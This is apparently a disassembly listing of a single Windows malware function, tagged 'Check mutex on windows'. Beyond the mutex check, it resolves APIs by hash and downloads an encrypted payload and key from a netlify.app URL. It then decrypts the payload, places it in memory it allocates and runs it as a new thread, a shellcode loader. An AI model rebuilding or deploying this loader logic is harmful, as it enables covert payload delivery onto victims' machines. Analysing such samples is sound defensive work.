Function at 0x140001510
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r13
lea rbp, [rsp - 0x4f]
sub rsp, 0x98
xor r13d, r13d
lea r8, str.yes_im_running_
xor ecx, ecx
mov qword [rbp + 0x77], r13
mov qword [rbp + 0x6f], r13
mov qword [rbp - 0x19], r13
lea edx, [r13 + 1]
mov qword [rbp + 0x7f], r13
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140001823
mov qword [rsp + 0x90], rbx
mov ecx, 0x367dc15a
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x68], r15
call section..text
mov edx, 0xa9c66724
mov rcx, rax
mov rbx, rax
call fcn.140001350
mov edx, 0x51685704
mov rcx, rbx
mov rdi, rax
call fcn.140001350
xor edx, edx
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x64
lea r8d, [r13 + 2]
mov rsi, rax
lea rcx, [rdx - 1]
call rdi
mov rbx, rax
test rax, rax
je 0x140001683
xor r9d, r9d
mov qword [rsp + 0x20], 0x64
xor r8d, r8d
lea edx, [r13 + 4]
mov rcx, rax
call rsi
xor r9d, r9d
mov qword [rsp + 0x20], 0x64
xor r8d, r8d
lea edx, [r13 + 4]
mov rcx, rbx
mov rdi, rax
call rsi
test rdi, rdi
je 0x140001683
test rax, rax
je 0x140001683
cmp rdi, rax
jne 0x140001683
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
xor r9d, r9d
mov dword [rsp + 0x28], r13d
xor r8d, r8d
mov qword [rsp + 0x20], r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsDialogMessageW]
mov ecx, 0x367dc15a
call section..text
mov edx, 0xfc32385f
mov rcx, rax
call fcn.140001350
lea r8, [rbp + 0x6f]
lea rdx, [rbp + 0x77]
lea rcx, str.https:__getinformationapi.netlify.app_EncryptedPayload.bin
call fcn.140001120
lea r8, [rbp + 0x7f]
lea rdx, [rbp - 0x19]
lea rcx, str.https:__getinformationapi.netlify.app_Key.bin
call fcn.140001120
mov ecx, 0x367dc15a
call section..text
mov edx, 0xfc32385f
mov rcx, rax
mov rbx, rax
call fcn.140001350
mov edx, 0xa9c66724
mov rcx, rbx
mov r15, rax
call fcn.140001350
mov edx, 0x51685704
mov rcx, rbx
mov rdi, rax
call fcn.140001350
mov edx, 0xf26e0212
mov rcx, rbx
mov r14, rax
call fcn.140001350
mov rsi, qword [rbp + 0x6f]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], r13
mov r12, rax
mov dword [rsp + 0x20], esi
lea r8d, [r9 + 0x40]
lea rcx, [rdx - 1]
call rdi
mov rdi, qword [rsp + 0x80]
test rax, rax
je 0x1400017f7
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x22]
call r14
mov rbx, rax
test rax, rax
je 0x1400017f7
mov rcx, qword [rbp + 0x7f]
mov dword [rbp - 0x11], ecx
mov dword [rbp - 0xd], ecx
mov rcx, qword [rbp - 0x19]
mov qword [rbp - 9], rcx
mov rcx, qword [rbp + 0x77]
mov qword [rbp + 7], rcx
lea rcx, str.Cryptsp
mov dword [rbp - 1], esi
mov dword [rbp + 3], esi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov edx, 0xaabda0d9
call fcn.140001350
lea rdx, [rbp - 0x11]
lea rcx, [rbp - 1]
call rax
mov dword [rbp + 0x67], r13d
movsxd rax, dword [rbp + 0x67]
cmp rax, qword [rbp + 0x6f]
jae 0x1400017d5
nop
movsxd rdx, dword [rbp + 0x67]
movsxd rcx, dword [rbp + 0x67]
mov rax, qword [rbp + 0x77]
movzx eax, byte [rdx + rax]
mov byte [rcx + rbx], al
mov eax, dword [rbp + 0x67]
inc eax
mov dword [rbp + 0x67], eax
movsxd rax, dword [rbp + 0x67]
cmp rax, qword [rbp + 0x6f]
jb 0x1400017b0
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call r12
mov edx, 0xffffffff
mov rcx, rax
call r15
mov r14, qword [rsp + 0x70]
xor eax, eax
mov r12, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
mov r15, qword [rsp + 0x68]
add rsp, 0x98
pop r13
pop rbp
ret
xor eax, eax
add rsp, 0x98
pop r13
pop rbp
ret